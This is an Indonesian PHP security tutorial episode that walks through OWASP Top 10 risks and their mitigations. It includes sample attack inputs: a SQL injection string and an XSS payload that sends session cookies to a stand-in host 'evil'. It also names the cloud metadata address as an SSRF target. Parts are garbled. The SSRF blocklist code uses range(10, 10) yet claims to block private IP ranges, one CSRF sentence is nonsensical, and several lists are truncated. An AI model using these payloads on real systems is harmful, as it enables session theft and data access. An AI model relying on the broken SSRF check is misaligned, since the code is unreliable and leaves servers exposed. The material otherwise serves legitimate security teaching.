Menutup lubang keamanan aplikasi PHP sesuai OWASP Top 10: mencegah SQL Injection dengan prepared statements, XSS dengan escaping, CSRF dengan token, keamanan file upload dan SSRF, plus password_hash, session hardening, dan composer audit sebagai garis pertahanan berlapis.

Di episode 11-15 kita menyebut "jangan", "amankan", "hindari" berkali-kali. Episode 17 adalah momen memusatkan semuanya: keamanan web menurut OWASP Top 10 — daftar risiko keamanan web paling kritis yang disepakati industri. Ini episode paling penting untuk karier kalian sebagai backend engineer: satu lubang keamanan bisa menghancurkan reputasi, data, dan bisnis dalam semalam.
Mengapa penting? Serangan web tidak membeda-bedakan ukuran aplikasi. Form login sederhana bisa jadi pintu masuk injeksi SQL, input pencarian bisa jadi vektor XSS, dan upload avatar bisa jadi jalan masuk webshell. OWASP menyusun yang paling sering terjadi dan paling berbahaya; kita membahas lima yang paling relevan untuk PHP.
Serangan: penyerang menyisipkan SQL berbahaya lewat input untuk membaca, mengubah, atau menghapus data.
// ⛔ concatenation input ke query
$email = $_POST["email"];
$stmt = $pdo->query("SELECT * FROM users WHERE email = '$email'");Input ' OR '1'='1 membuat query selalu benar — login tanpa password. Mitigasi, prepared statement (sudah kita pakai di episode 11):
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$_POST["email"]]);
$user = $stmt->fetch();Aturan: query = kode, input = data, keduanya tidak pernah dicampur. Hal yang sama berlaku untuk Eloquent/Doctrine — mereka memakai binding di balik layar selama kalian tidak whereRaw dengan input mentah.
Serangan: penyerang menyisipkan JavaScript yang dieksekusi di browser korban — mencuri cookie session, membajak sesi, phishing.
echo "<h1>Halo, " . $_GET["nama"] . "</h1>";
// input: <script>document.location='https://evil/?c='+document.cookie</script>Mitigasi tiga lapis:
htmlspecialchars() (atau {{ }} di Blade, autoescape di Twig, episode 15):echo "<h1>Halo, " . htmlspecialchars($nama, ENT_QUOTES, "UTF-8") . "</h1>";httponly — cookie session tidak bisa dibaca JavaScript sekalipun XSS terjadi (episode 12).Jenis XSS: reflected (lewat URL), stored (tersimpan di database — paling berbahaya), dan DOM-based. Aturan umumnya selalu sama: jangan pernah menaruh input pengguna mentah ke HTML tanpa escape.
Serangan: memaksa browser korban yang sudah login mengirim request berbahaya (misal transfer uang) karena cookie otomatis ikut terkirim.
Mitigasi: CSRF token — nilai rahasia per session yang wajib menyertai setiap form POST:
session_start();
if (empty($_SESSION["csrf_token"])) {
$_SESSION["csrf_token"] = bin2hex(random_bytes(32));
}
$token = $_SESSION["csrf_token"];<form method="post" action="transfer.php">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($token) ?>">
<!-- ... -->
</form>if (!hash_equals($_SESSION["csrf_token"], $_POST["csrf_token"] ?? "")) {
http_response_code(403);
exit("Token CSRF tidak valid.");
}hash_equals membandingkan secara constant-time (mencegah timing attack). Di Laravel, token CSRF ditangani otomatis oleh @csrf di Blade — tanpa membayar, kalian tidak akan berfungsi. Gunakan samesite=Lax/Strict pada cookie sebagai lapisan kedua.
Serangan: upload file berbahaya (webshell .php) yang kemudian dieksekusi server.
Mitigasi (ringkas dari episode 12):
$foto = $_FILES["foto"];
$realMime = (new finfo(FILEINFO_MIME_TYPE))->file($foto["tmp_name"]);
if (!in_array($realMime, ["image/jpeg", "image/png", "image/webp"], true)) {
exit("Tipe file tidak diizinkan.");
}
$ext = match ($realMime) {
"image/jpeg" => "jpg",
"image/png" => "png",
"image/webp" => "webp",
};
$namaBaru = bin2hex(random_bytes(16)) . "." . $ext;
move_uploaded_file($foto["tmp_name"], __DIR__ . "/uploads/" . $namaBaru);Lima aturan upload:
finfo), bukan ekstensi dari nama file.file.php.jpg).Serangan: aplikasi yang memakai input user untuk meminta URL (misal fitur "pratinjau link") dipaksa mengakses internal — metadata cloud, localhost, jaringan internal.
$url = $_GET["url"];
$isi = file_get_contents($url); // ⛔ bisa mengarah ke http://169.254.169.254/Mitigasi dasar:
$host = parse_url($url, PHP_URL_HOST);
// 1. hanya izinkan skema yang diizinkan
if (!in_array(parse_url($url, PHP_URL_SCHEME), ["https"], true)) {
exit("Hanya HTTPS diizinkan.");
}
// 2. blokir host internal
$resolved = gethostbynamel($host) ?: [];
$dilarang = array_merge(
["127.0.0.1", "::1", "0.0.0.0"],
range(10, 10), // 10.x, 172.16-31.x, 192.168.x
);
if (array_intersect($resolved, $dilarang)) {
exit("Host internal tidak diizinkan.");
}SSRF sulit diamankan sempurna (SSRF juga bisa via DNS rebinding); strategi terbaik adalah allowlist domain tujuan, atau gunakan layanan yang didedikasikan untuk fetching URL.
Tip
OWASP menyarankan pendekatan defense in depth: jangan bergantung satu mitigasi. Contoh: XSS dicegah oleh escaping output + httponly cookie; SQL injection dicegah oleh prepared statements + least privilege database. Setiap lapis menutup kegagalan lapis lain.
password_hashSudah dibahas di episode 14 — password_hash (bcrypt/argon2id) + password_verify. Jangan pernah hash manual (MD5/SHA1) atau menaruh salt sendiri.
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = "Lax"
session.use_strict_mode = 1
session.gc_maxlifetime = 1800Sesuaikan untuk produksi: cookie hanya lewat HTTPS, tidak terbaca JavaScript, strict_mode menolak session ID yang tidak dikenal.
composer auditGaris pertahanan supply chain (dari episode 9):
composer auditDanger
Jangan pernah menonaktifkan error reporting di produksi hanya untuk "menyembunyikan" error — ini membuat aplikasi buta. Yang benar: display_errors=Off + log error ke file/monitoring (Sentry, episode 19). Keamanan dan observability berjalan beriringan.
X-Content-Type-Options, Content-Security-Policy, dan Referrer-Policy.Inti yang harus dibawa pulang:
htmlspecialchars/{{ }}) + httponly cookie.hash_equals + samesite.password_hash, session hardening, composer audit.Di episode 18 selanjutnya kita membuat aplikasi yang aman itu juga cepat: Caching & Performance — opcache, Redis/Memcached, HTTP cache dengan ETag dan Cache-Control, lalu profiling dengan Xdebug/Blackfire, eliminasi query N+1, dan connection pooling. Kecepatan adalah fitur, dan ini cara mendapatkannya.